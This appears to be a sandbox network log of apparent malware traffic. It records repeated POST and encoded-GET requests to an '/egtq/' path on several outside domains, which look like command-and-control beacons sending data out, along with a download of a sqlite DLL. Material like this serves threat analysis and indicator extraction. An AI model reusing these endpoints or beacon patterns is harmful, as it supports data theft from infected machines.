Network Analysis

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 171 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.ionbet88s.top Origin: http://www.ionbet88s.top Referer: http://www.ionbet88s.top/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 403 Forbidden date: Fri, 28 Jul 2023 08:22:01 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close

GET /egtq/?aO=JpbngjiX6O9g3ygRoA4H1UbRh4cNSG6rKa2sZMHI38JPoS8sDChuKI7wn0j5oSg+PVRxv5HG+vHHa6u8dIR+bPRFSMXfcXnRdl9nJjk=&SWD__T=KKmxdR_Mh8yQsLY3 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Connection: close Host: www.ionbet88s.top User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 403 Forbidden date: Fri, 28 Jul 2023 08:22:04 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close

GET /2016/sqlite-dll-win32-x86-3130000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Fri, 28 Jul 2023 08:22:06 GMT Last-Modified: Thu, 04 Aug 2016 14:08:46 GMT Cache-Control: max-age=120 ETag: "m57a34c6es69ad9" Content-type: application/zip; charset=utf-8 Content-length: 432857

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 3407 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.creditworld.online Origin: http://www.creditworld.online Referer: http://www.creditworld.online/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Date: Fri, 28 Jul 2023 08:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7edbb6951e4000c7-ICN Content-Encoding: gzip

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 183 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.creditworld.online Origin: http://www.creditworld.online Referer: http://www.creditworld.online/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Date: Fri, 28 Jul 2023 08:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7edbb6a4bcb13531-ICN Content-Encoding: gzip

GET /egtq/?aO=461q18RMOxDnaqNJkfUvY5IkWUicQOOUykzcHkGDr0ojiLNEzcqHfSdPNleOyJBeadYyul1KhY7SHM+u3o5PCPusFJY9E0Tu3vQ30G0=&SWD__T=KKmxdR_Mh8yQsLY3 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Connection: close Host: www.creditworld.online User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 301 Moved Permanently Date: Fri, 28 Jul 2023 08:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://creditworld.online/egtq/?aO=461q18RMOxDnaqNJkfUvY5IkWUicQOOUykzcHkGDr0ojiLNEzcqHfSdPNleOyJBeadYyul1KhY7SHM+u3o5PCPusFJY9E0Tu3vQ30G0=&SWD__T=KKmxdR_Mh8yQsLY3 host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 CF-Cache-Status: MISS Vary: Accept-Encoding Server: cloudflare CF-RAY: 7edbb6b45a2d00cf-ICN

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 3407 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.venusoutfitters.com Origin: http://www.venusoutfitters.com Referer: http://www.venusoutfitters.com/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 183 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.venusoutfitters.com Origin: http://www.venusoutfitters.com Referer: http://www.venusoutfitters.com/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Fri, 28 Jul 2023 08:23:18 GMT Connection: close

GET /egtq/?aO=AG/8kS8hRI7iSvIQVXo4bLIk8R036qZtlLK3QEpyWmEDwEtJlP4N3V8/1EyQAIIfeNFCTAf3Fb8poTCACfVw9c6yosc2Tpj7usW0+/E=&SWD__T=KKmxdR_Mh8yQsLY3 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Connection: close Host: www.venusoutfitters.com User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Fri, 28 Jul 2023 08:23:22 GMT Connection: close

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 3407 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.fumart.info Origin: http://www.fumart.info Referer: http://www.fumart.info/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Date: Fri, 28 Jul 2023 08:22:36 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 183 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.fumart.info Origin: http://www.fumart.info Referer: http://www.fumart.info/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Date: Fri, 28 Jul 2023 08:22:38 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html

GET /egtq/?aO=fw90bLaqAcmFERwnqJAYPoE2BeWi5Uid+2aFH0/PJfU3kufJIFUcu6PL/Pz6bf1s8lPkFRRtp+LRMBkR5Fml0evqjrgFZcXS4OlyoU0=&SWD__T=KKmxdR_Mh8yQsLY3 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Connection: close Host: www.fumart.info User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 404 Not Found Date: Fri, 28 Jul 2023 08:22:41 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html; charset=utf-8

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 3407 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.18openai.com Origin: http://www.18openai.com Referer: http://www.18openai.com/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

POST /egtq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Content-Length: 183 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.18openai.com Origin: http://www.18openai.com Referer: http://www.18openai.com/egtq/ User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 28 Jul 2023 08:23:12 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://18openai.com Strict-Transport-Security: max-age=31536000

GET /egtq/?aO=BEFxgyEhfwgGN5USHx2zrNUqAIC83z3/D0cA5Mihd1ofFN8Iz71zyO++mpZ3G1shHvRyqvcTqr8AVxBqNInK/d3Y2zubNQdlXVdEQ9s=&SWD__T=KKmxdR_Mh8yQsLY3 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Connection: close Host: www.18openai.com User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 28 Jul 2023 08:23:15 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://18openai.com Strict-Transport-Security: max-age=31536000